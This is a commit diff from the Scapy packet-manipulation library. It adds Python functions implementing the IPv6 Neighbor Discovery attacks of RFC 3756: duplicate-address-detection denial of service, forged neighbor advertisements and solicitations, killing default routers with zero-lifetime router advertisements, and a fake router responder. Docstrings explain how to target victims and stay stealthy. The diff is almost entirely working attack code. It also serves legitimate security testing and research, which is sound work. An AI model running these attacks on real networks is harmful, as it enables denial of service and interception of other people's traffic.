mirror of https://github.com/secdev/scapy.git
Merge pull request #66 from natisbad/master
Implementation of IPv6 ND attacks described in RFC 3756
This commit is contained in:
commit
a814731c5a
|
@ -3008,6 +3008,629 @@ class _IPv6inIP(SuperSocket):
|
|||
return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
|
||||
|
||||
|
||||
#############################################################################
|
||||
#############################################################################
|
||||
### Neighbor Discovery Protocol Attacks ###
|
||||
#############################################################################
|
||||
#############################################################################
|
||||
|
||||
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
|
||||
tgt_filter=None, reply_mac=None):
|
||||
"""
|
||||
Internal generic helper accepting a specific callback as first argument,
|
||||
for NS or NA reply. See the two specific functions below.
|
||||
"""
|
||||
|
||||
def is_request(req, mac_src_filter, tgt_filter):
|
||||
"""
|
||||
Check if packet req is a request
|
||||
"""
|
||||
|
||||
# Those simple checks are based on Section 5.4.2 of RFC 4862
|
||||
if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
|
||||
return 0
|
||||
|
||||
# Get and compare the MAC address
|
||||
mac_src = req[Ether].src
|
||||
if mac_src_filter and mac_src != mac_src_filter:
|
||||
return 0
|
||||
|
||||
# Source must be the unspecified address
|
||||
if req[IPv6].src != "::":
|
||||
return 0
|
||||
|
||||
# Check destination is the link-local solicited-node multicast
|
||||
# address associated with target address in received NS
|
||||
tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
|
||||
if tgt_filter and tgt != tgt_filter:
|
||||
return 0
|
||||
received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst)
|
||||
expected_snma = in6_getnsma(tgt)
|
||||
if received_snma != expected_snma:
|
||||
return 0
|
||||
|
||||
return 1
|
||||
|
||||
if not iface:
|
||||
iface = conf.iface
|
||||
|
||||
# To prevent sniffing our own traffic
|
||||
if not reply_mac:
|
||||
reply_mac = get_if_hwaddr(iface)
|
||||
sniff_filter = "icmp6 and not ether src %s" % reply_mac
|
||||
|
||||
sniff(store=0,
|
||||
filter=sniff_filter,
|
||||
lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
|
||||
prn=lambda x: reply_callback(x, reply_mac, iface),
|
||||
iface=iface)
|
||||
|
||||
|
||||
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
|
||||
reply_mac=None):
|
||||
"""
|
||||
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
|
||||
3756. This is done by listening incoming NS messages sent from the
|
||||
unspecified address and sending a NS reply for the target address,
|
||||
leading the peer to believe that another node is also performing DAD
|
||||
for that address.
|
||||
|
||||
By default, the fake NS sent to create the DoS uses:
|
||||
- as target address the target address found in received NS.
|
||||
- as IPv6 source address: the unspecified address (::).
|
||||
- as IPv6 destination address: the link-local solicited-node multicast
|
||||
address derived from the target address in received NS.
|
||||
- the mac address of the interface as source (or reply_mac, see below).
|
||||
- the multicast mac address derived from the solicited node multicast
|
||||
address used as IPv6 destination address.
|
||||
|
||||
Following arguments can be used to change the behavior:
|
||||
|
||||
iface: a specific interface (e.g. "eth0") of the system on which the
|
||||
DoS should be launched. If None is provided conf.iface is used.
|
||||
|
||||
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
|
||||
Only NS messages received from this source will trigger replies.
|
||||
This allows limiting the effects of the DoS to a single target by
|
||||
filtering on its mac address. The default value is None: the DoS
|
||||
is not limited to a specific mac address.
|
||||
|
||||
tgt_filter: Same as previous but for a specific target IPv6 address for
|
||||
received NS. If the target address in the NS message (not the IPv6
|
||||
destination address) matches that address, then a fake reply will
|
||||
be sent, i.e. the emitter will be a target of the DoS.
|
||||
|
||||
reply_mac: allow specifying a specific source mac address for the reply,
|
||||
i.e. to prevent the use of the mac address of the interface.
|
||||
"""
|
||||
|
||||
def ns_reply_callback(req, reply_mac, iface):
|
||||
"""
|
||||
Callback that reply to a NS by sending a similar NS
|
||||
"""
|
||||
|
||||
# Let's build a reply and send it
|
||||
mac = req[Ether].src
|
||||
dst = req[IPv6].dst
|
||||
tgt = req[ICMPv6ND_NS].tgt
|
||||
rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
|
||||
sendp(rep, iface=iface, verbose=0)
|
||||
|
||||
print "Reply NS for target address %s (received from %s)" % (tgt, mac)
|
||||
|
||||
_NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
|
||||
tgt_filter, reply_mac)
|
||||
|
||||
|
||||
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
|
||||
reply_mac=None):
|
||||
"""
|
||||
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
|
||||
3756. This is done by listening incoming NS messages *sent from the
|
||||
unspecified address* and sending a NA reply for the target address,
|
||||
leading the peer to believe that another node is also performing DAD
|
||||
for that address.
|
||||
|
||||
By default, the fake NA sent to create the DoS uses:
|
||||
- as target address the target address found in received NS.
|
||||
- as IPv6 source address: the target address found in received NS.
|
||||
- as IPv6 destination address: the link-local solicited-node multicast
|
||||
address derived from the target address in received NS.
|
||||
- the mac address of the interface as source (or reply_mac, see below).
|
||||
- the multicast mac address derived from the solicited node multicast
|
||||
address used as IPv6 destination address.
|
||||
- A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
|
||||
with the mac address used as source of the NA.
|
||||
|
||||
Following arguments can be used to change the behavior:
|
||||
|
||||
iface: a specific interface (e.g. "eth0") of the system on which the
|
||||
DoS should be launched. If None is provided conf.iface is used.
|
||||
|
||||
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
|
||||
Only NS messages received from this source will trigger replies.
|
||||
This allows limiting the effects of the DoS to a single target by
|
||||
filtering on its mac address. The default value is None: the DoS
|
||||
is not limited to a specific mac address.
|
||||
|
||||
tgt_filter: Same as previous but for a specific target IPv6 address for
|
||||
received NS. If the target address in the NS message (not the IPv6
|
||||
destination address) matches that address, then a fake reply will
|
||||
be sent, i.e. the emitter will be a target of the DoS.
|
||||
|
||||
reply_mac: allow specifying a specific source mac address for the reply,
|
||||
i.e. to prevent the use of the mac address of the interface. This
|
||||
address will also be used in the Target Link-Layer Address option.
|
||||
"""
|
||||
|
||||
def na_reply_callback(req, reply_mac, iface):
|
||||
"""
|
||||
Callback that reply to a NS with a NA
|
||||
"""
|
||||
|
||||
# Let's build a reply and send it
|
||||
mac = req[Ether].src
|
||||
dst = req[IPv6].dst
|
||||
tgt = req[ICMPv6ND_NS].tgt
|
||||
rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
|
||||
rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
|
||||
rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
|
||||
sendp(rep, iface=iface, verbose=0)
|
||||
|
||||
print "Reply NA for target address %s (received from %s)" % (tgt, mac)
|
||||
|
||||
_NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
|
||||
tgt_filter, reply_mac)
|
||||
|
||||
|
||||
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
|
||||
reply_mac=None, router=False):
|
||||
"""
|
||||
The main purpose of this function is to send fake Neighbor Advertisement
|
||||
messages to a victim. As the emission of unsolicited Neighbor Advertisement
|
||||
is pretty pointless (from an attacker standpoint) because it will not
|
||||
lead to a modification of a victim's neighbor cache, the function send
|
||||
advertisements in response to received NS (NS sent as part of the DAD,
|
||||
i.e. with an unspecified address as source, are not considered).
|
||||
|
||||
By default, the fake NA sent to create the DoS uses:
|
||||
- as target address the target address found in received NS.
|
||||
- as IPv6 source address: the target address
|
||||
- as IPv6 destination address: the source IPv6 address of received NS
|
||||
message.
|
||||
- the mac address of the interface as source (or reply_mac, see below).
|
||||
- the source mac address of the received NS as destination macs address
|
||||
of the emitted NA.
|
||||
- A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
|
||||
filled with the mac address used as source of the NA.
|
||||
|
||||
Following arguments can be used to change the behavior:
|
||||
|
||||
iface: a specific interface (e.g. "eth0") of the system on which the
|
||||
DoS should be launched. If None is provided conf.iface is used.
|
||||
|
||||
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
|
||||
Only NS messages received from this source will trigger replies.
|
||||
This allows limiting the effects of the DoS to a single target by
|
||||
filtering on its mac address. The default value is None: the DoS
|
||||
is not limited to a specific mac address.
|
||||
|
||||
tgt_filter: Same as previous but for a specific target IPv6 address for
|
||||
received NS. If the target address in the NS message (not the IPv6
|
||||
destination address) matches that address, then a fake reply will
|
||||
be sent, i.e. the emitter will be a target of the DoS.
|
||||
|
||||
reply_mac: allow specifying a specific source mac address for the reply,
|
||||
i.e. to prevent the use of the mac address of the interface. This
|
||||
address will also be used in the Target Link-Layer Address option.
|
||||
|
||||
router: by the default (False) the 'R' flag in the NA used for the reply
|
||||
is not set. If the parameter is set to True, the 'R' flag in the
|
||||
NA is set, advertising us as a router.
|
||||
|
||||
Please, keep the following in mind when using the function: for obvious
|
||||
reasons (kernel space vs. Python speed), when the target of the address
|
||||
resolution is on the link, the sender of the NS receives 2 NA messages
|
||||
in a row, the valid one and our fake one. The second one will overwrite
|
||||
the information provided by the first one, i.e. the natural latency of
|
||||
Scapy helps here.
|
||||
|
||||
In practice, on a common Ethernet link, the emission of the NA from the
|
||||
genuine target (kernel stack) usually occurs in the same millisecond as
|
||||
the receipt of the NS. The NA generated by Scapy6 will usually come after
|
||||
something 20+ ms. On a usual testbed for instance, this difference is
|
||||
sufficient to have the first data packet sent from the victim to the
|
||||
destination before it even receives our fake NA.
|
||||
"""
|
||||
|
||||
def is_request(req, mac_src_filter, tgt_filter):
|
||||
"""
|
||||
Check if packet req is a request
|
||||
"""
|
||||
|
||||
# Those simple checks are based on Section 5.4.2 of RFC 4862
|
||||
if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
|
||||
return 0
|
||||
|
||||
mac_src = req[Ether].src
|
||||
if mac_src_filter and mac_src != mac_src_filter:
|
||||
return 0
|
||||
|
||||
# Source must NOT be the unspecified address
|
||||
if req[IPv6].src == "::":
|
||||
return 0
|
||||
|
||||
tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
|
||||
if tgt_filter and tgt != tgt_filter:
|
||||
return 0
|
||||
|
||||
dst = req[IPv6].dst
|
||||
if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
|
||||
|
||||
# If this is a real address resolution NS, then the destination
|
||||
# address of the packet is the link-local solicited node multicast
|
||||
# address associated with the target of the NS.
|
||||
# Otherwise, the NS is a NUD related one, i.e. the peer is
|
||||
# unicasting the NS to check the target is still alive (L2
|
||||
# information is still in its cache and it is verified)
|
||||
received_snma = socket.inet_pton(socket.AF_INET6, dst)
|
||||
expected_snma = in6_getnsma(tgt)
|
||||
if received_snma != expected_snma:
|
||||
print "solicited node multicast @ does not match target @!"
|
||||
return 0
|
||||
|
||||
return 1
|
||||
|
||||
def reply_callback(req, reply_mac, router, iface):
|
||||
"""
|
||||
Callback that reply to a NS with a spoofed NA
|
||||
"""
|
||||
|
||||
# Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
|
||||
# send it back.
|
||||
mac = req[Ether].src
|
||||
pkt = req[IPv6]
|
||||
src = pkt.src
|
||||
tgt = req[ICMPv6ND_NS].tgt
|
||||
rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
|
||||
rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
|
||||
|
||||
# "If the solicitation IP Destination Address is not a multicast
|
||||
# address, the Target Link-Layer Address option MAY be omitted"
|
||||
# Given our purpose, we always include it.
|
||||
rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
|
||||
|
||||
sendp(rep, iface=iface, verbose=0)
|
||||
|
||||
print "Reply NA for target address %s (received from %s)" % (tgt, mac)
|
||||
|
||||
if not iface:
|
||||
iface = conf.iface
|
||||
# To prevent sniffing our own traffic
|
||||
if not reply_mac:
|
||||
reply_mac = get_if_hwaddr(iface)
|
||||
sniff_filter = "icmp6 and not ether src %s" % reply_mac
|
||||
|
||||
router = (router and 1) or 0 # Value of the R flags in NA
|
||||
|
||||
sniff(store=0,
|
||||
filter=sniff_filter,
|
||||
lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
|
||||
prn=lambda x: reply_callback(x, reply_mac, router, iface),
|
||||
iface=iface)
|
||||
|
||||
|
||||
def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
|
||||
dst=None, src_mac=None, dst_mac=None, loop=True,
|
||||
inter=1, iface=None):
|
||||
"""
|
||||
The main purpose of this function is to send fake Neighbor Solicitations
|
||||
messages to a victim, in order to either create a new entry in its neighbor
|
||||
cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
|
||||
that a node SHOULD create the entry or update an existing one (if it is not
|
||||
currently performing DAD for the target of the NS). The entry's reachability
|
||||
state is set to STALE.
|
||||
|
||||
The two main parameters of the function are the source link-layer address
|
||||
(carried by the Source Link-Layer Address option in the NS) and the
|
||||
source address of the packet.
|
||||
|
||||
Unlike some other NDP_Attack_* function, this one is not based on a
|
||||
stimulus/response model. When called, it sends the same NS packet in loop
|
||||
every second (the default)
|
||||
|
||||
Following arguments can be used to change the format of the packets:
|
||||
|
||||
src_lladdr: the MAC address used in the Source Link-Layer Address option
|
||||
included in the NS packet. This is the address that the peer should
|
||||
associate in its neighbor cache with the IPv6 source address of the
|
||||
packet. If None is provided, the mac address of the interface is
|
||||
used.
|
||||
|
||||
src: the IPv6 address used as source of the packet. If None is provided,
|
||||
an address associated with the emitting interface will be used
|
||||
(based on the destination address of the packet).
|
||||
|
||||
target: the target address of the NS packet. If no value is provided,
|
||||
a dummy address (2001:db8::1) is used. The value of the target
|
||||
has a direct impact on the destination address of the packet if it
|
||||
is not overridden. By default, the solicited-node multicast address
|
||||
associated with the target is used as destination address of the
|
||||
packet. Consider specifying a specific destination address if you
|
||||
intend to use a target address different than the one of the victim.
|
||||
|
||||
dst: The destination address of the NS. By default, the solicited node
|
||||
multicast address associated with the target address (see previous
|
||||
parameter) is used if no specific value is provided. The victim
|
||||
is not expected to check the destination address of the packet,
|
||||
so using a multicast address like ff02::1 should work if you want
|
||||
the attack to target all hosts on the link. On the contrary, if
|
||||
you want to be more stealth, you should provide the target address
|
||||
for this parameter in order for the packet to be sent only to the
|
||||
victim.
|
||||
|
||||
src_mac: the MAC address used as source of the packet. By default, this
|
||||
is the address of the interface. If you want to be more stealth,
|
||||
feel free to use something else. Note that this address is not the
|
||||
that the victim will use to populate its neighbor cache.
|
||||
|
||||
dst_mac: The MAC address used as destination address of the packet. If
|
||||
the IPv6 destination address is multicast (all-nodes, solicited
|
||||
node, ...), it will be computed. If the destination address is
|
||||
unicast, a neighbor solicitation will be performed to get the
|
||||
associated address. If you want the attack to be stealth, you
|
||||
can provide the MAC address using this parameter.
|
||||
|
||||
loop: By default, this parameter is True, indicating that NS packets
|
||||
will be sent in loop, separated by 'inter' seconds (see below).
|
||||
When set to False, a single packet is sent.
|
||||
|
||||
inter: When loop parameter is True (the default), this parameter provides
|
||||
the interval in seconds used for sending NS packets.
|
||||
|
||||
iface: to force the sending interface.
|
||||
"""
|
||||
|
||||
if not iface:
|
||||
iface = conf.iface
|
||||
|
||||
# Use provided MAC address as source link-layer address option
|
||||
# or the MAC address of the interface if none is provided.
|
||||
if not src_lladdr:
|
||||
src_lladdr = get_if_hwaddr(iface)
|
||||
|
||||
# Prepare packets parameters
|
||||
ether_params = {}
|
||||
if src_mac:
|
||||
ether_params["src"] = src_mac
|
||||
|
||||
if dst_mac:
|
||||
ether_params["dst"] = dst_mac
|
||||
|
||||
ipv6_params = {}
|
||||
if src:
|
||||
ipv6_params["src"] = src
|
||||
if dst:
|
||||
ipv6_params["dst"] = dst
|
||||
else:
|
||||
# Compute the solicited-node multicast address
|
||||
# associated with the target address.
|
||||
tmp = inet_ntop(socket.AF_INET6,
|
||||
in6_getnsma(inet_pton(socket.AF_INET6, target)))
|
||||
ipv6_params["dst"] = tmp
|
||||
|
||||
pkt = Ether(**ether_params)
|
||||
pkt /= IPv6(**ipv6_params)
|
||||
pkt /= ICMPv6ND_NS(tgt=target)
|
||||
pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
|
||||
|
||||
sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
|
||||
|
||||
|
||||
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
|
||||
ip_src_filter=None, reply_mac=None,
|
||||
tgt_mac=None):
|
||||
"""
|
||||
The purpose of the function is to monitor incoming RA messages
|
||||
sent by default routers (RA with a non-zero Router Lifetime values)
|
||||
and invalidate them by immediately replying with fake RA messages
|
||||
advertising a zero Router Lifetime value.
|
||||
|
||||
The result on receivers is that the router is immediately invalidated,
|
||||
i.e. the associated entry is discarded from the default router list
|
||||
and destination cache is updated to reflect the change.
|
||||
|
||||
By default, the function considers all RA messages with a non-zero
|
||||
Router Lifetime value but provides configuration knobs to allow
|
||||
filtering RA sent by specific routers (Ethernet source address).
|
||||
With regard to emission, the multicast all-nodes address is used
|
||||
by default but a specific target can be used, in order for the DoS to
|
||||
apply only to a specific host.
|
||||
|
||||
More precisely, following arguments can be used to change the behavior:
|
||||
|
||||
iface: a specific interface (e.g. "eth0") of the system on which the
|
||||
DoS should be launched. If None is provided conf.iface is used.
|
||||
|
||||
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
|
||||
Only RA messages received from this source will trigger replies.
|
||||
If other default routers advertised their presence on the link,
|
||||
their clients will not be impacted by the attack. The default
|
||||
value is None: the DoS is not limited to a specific mac address.
|
||||
|
||||
ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
|
||||
on. Only RA messages received from this source address will trigger
|
||||
replies. If other default routers advertised their presence on the
|
||||
link, their clients will not be impacted by the attack. The default
|
||||
value is None: the DoS is not limited to a specific IPv6 source
|
||||
address.
|
||||
|
||||
reply_mac: allow specifying a specific source mac address for the reply,
|
||||
i.e. to prevent the use of the mac address of the interface.
|
||||
|
||||
tgt_mac: allow limiting the effect of the DoS to a specific host,
|
||||
by sending the "invalidating RA" only to its mac address.
|
||||
"""
|
||||
|
||||
def is_request(req, mac_src_filter, ip_src_filter):
|
||||
"""
|
||||
Check if packet req is a request
|
||||
"""
|
||||
|
||||
if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
|
||||
return 0
|
||||
|
||||
mac_src = req[Ether].src
|
||||
if mac_src_filter and mac_src != mac_src_filter:
|
||||
return 0
|
||||
|
||||
ip_src = req[IPv6].src
|
||||
if ip_src_filter and ip_src != ip_src_filter:
|
||||
return 0
|
||||
|
||||
# Check if this is an advertisement for a Default Router
|
||||
# by looking at Router Lifetime value
|
||||
if req[ICMPv6ND_RA].routerlifetime == 0:
|
||||
return 0
|
||||
|
||||
return 1
|
||||
|
||||
def ra_reply_callback(req, reply_mac, tgt_mac, iface):
|
||||
"""
|
||||
Callback that sends an RA with a 0 lifetime
|
||||
"""
|
||||
|
||||
# Let's build a reply and send it
|
||||
|
||||
src = req[IPv6].src
|
||||
|
||||
# Prepare packets parameters
|
||||
ether_params = {}
|
||||
if reply_mac:
|
||||
ether_params["src"] = reply_mac
|
||||
|
||||
if tgt_mac:
|
||||
ether_params["dst"] = tgt_mac
|
||||
|
||||
# Basis of fake RA (high pref, zero lifetime)
|
||||
rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
|
||||
rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
|
||||
|
||||
# Add it a PIO from the request ...
|
||||
tmp = req
|
||||
while ICMPv6NDOptPrefixInfo in tmp:
|
||||
pio = tmp[ICMPv6NDOptPrefixInfo]
|
||||
tmp = pio.payload
|
||||
del(pio.payload)
|
||||
rep /= pio
|
||||
|
||||
# ... and source link layer address option
|
||||
if ICMPv6NDOptSrcLLAddr in req:
|
||||
mac = req[ICMPv6NDOptSrcLLAddr].lladdr
|
||||
else:
|
||||
mac = req[Ether].src
|
||||
rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
|
||||
|
||||
sendp(rep, iface=iface, verbose=0)
|
||||
|
||||
print "Fake RA sent with source address %s" % src
|
||||
|
||||
|
||||
if not iface:
|
||||
iface = conf.iface
|
||||
# To prevent sniffing our own traffic
|
||||
if not reply_mac:
|
||||
reply_mac = get_if_hwaddr(iface)
|
||||
sniff_filter = "icmp6 and not ether src %s" % reply_mac
|
||||
|
||||
sniff(store=0,
|
||||
filter=sniff_filter,
|
||||
lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
|
||||
prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
|
||||
iface=iface)
|
||||
|
||||
|
||||
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
|
||||
ip_src_filter=None):
|
||||
"""
|
||||
The purpose of this function is to send provided RA message at layer 2
|
||||
(i.e. providing a packet starting with IPv6 will not work) in response
|
||||
to received RS messages. In the end, the function is a simple wrapper
|
||||
around sendp() that monitor the link for RS messages.
|
||||
|
||||
It is probably better explained with an example:
|
||||
|
||||
>>> ra = Ether()/IPv6()/ICMPv6ND_RA()
|
||||
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
|
||||
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
|
||||
>>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
|
||||
>>> NDP_Attack_Fake_Router(ra, iface="eth0")
|
||||
Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
|
||||
Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
|
||||
...
|
||||
|
||||
Following arguments can be used to change the behavior:
|
||||
|
||||
ra: the RA message to send in response to received RS message.
|
||||
|
||||
iface: a specific interface (e.g. "eth0") of the system on which the
|
||||
DoS should be launched. If none is provided, conf.iface is
|
||||
used.
|
||||
|
||||
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
|
||||
Only RS messages received from this source will trigger a reply.
|
||||
Note that no changes to provided RA is done which imply that if
|
||||
you intend to target only the source of the RS using this option,
|
||||
you will have to set the Ethernet destination address to the same
|
||||
value in your RA.
|
||||
The default value for this parameter is None: no filtering on the
|
||||
source of RS is done.
|
||||
|
||||
ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
|
||||
on. Only RS messages received from this source address will trigger
|
||||
replies. Same comment as for previous argument apply: if you use
|
||||
the option, you will probably want to set a specific Ethernet
|
||||
destination address in the RA.
|
||||
"""
|
||||
|
||||
def is_request(req, mac_src_filter, ip_src_filter):
|
||||
"""
|
||||
Check if packet req is a request
|
||||
"""
|
||||
|
||||
if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
|
||||
return 0
|
||||
|
||||
mac_src = req[Ether].src
|
||||
if mac_src_filter and mac_src != mac_src_filter:
|
||||
return 0
|
||||
|
||||
ip_src = req[IPv6].src
|
||||
if ip_src_filter and ip_src != ip_src_filter:
|
||||
return 0
|
||||
|
||||
return 1
|
||||
|
||||
def ra_reply_callback(req, iface):
|
||||
"""
|
||||
Callback that sends an RA in reply to an RS
|
||||
"""
|
||||
|
||||
src = req[IPv6].src
|
||||
sendp(ra, iface=iface, verbose=0)
|
||||
print "Fake RA sent in response to RS from %s" % src
|
||||
|
||||
if not iface:
|
||||
iface = conf.iface
|
||||
sniff_filter = "icmp6"
|
||||
|
||||
sniff(store=0,
|
||||
filter=sniff_filter,
|
||||
lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
|
||||
prn=lambda x: ra_reply_callback(x, iface),
|
||||
iface=iface)
|
||||
|
||||
|
||||
#############################################################################
|
||||
#############################################################################
|
||||
### Layers binding ###
|
||||
|
|
|
@ -648,6 +648,16 @@ def in6_isincluded(addr, prefix, plen):
|
|||
zero = inet_pton(socket.AF_INET6, prefix)
|
||||
return zero == in6_and(temp, pref)
|
||||
|
||||
def in6_isllsnmaddr(str):
|
||||
"""
|
||||
Return True if provided address is a link-local solicited node
|
||||
multicast address, i.e. belongs to ff02::1:ff00:0/104. False is
|
||||
returned otherwise.
|
||||
"""
|
||||
temp = in6_and("\xff"*13+"\x00"*3, inet_pton(socket.AF_INET6, str))
|
||||
temp2 = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00'
|
||||
return temp == temp2
|
||||
|
||||
def in6_isdocaddr(str):
|
||||
"""
|
||||
Returns True if provided address in printable format belongs to
|
||||
|
|
Loading…
Reference in New Issue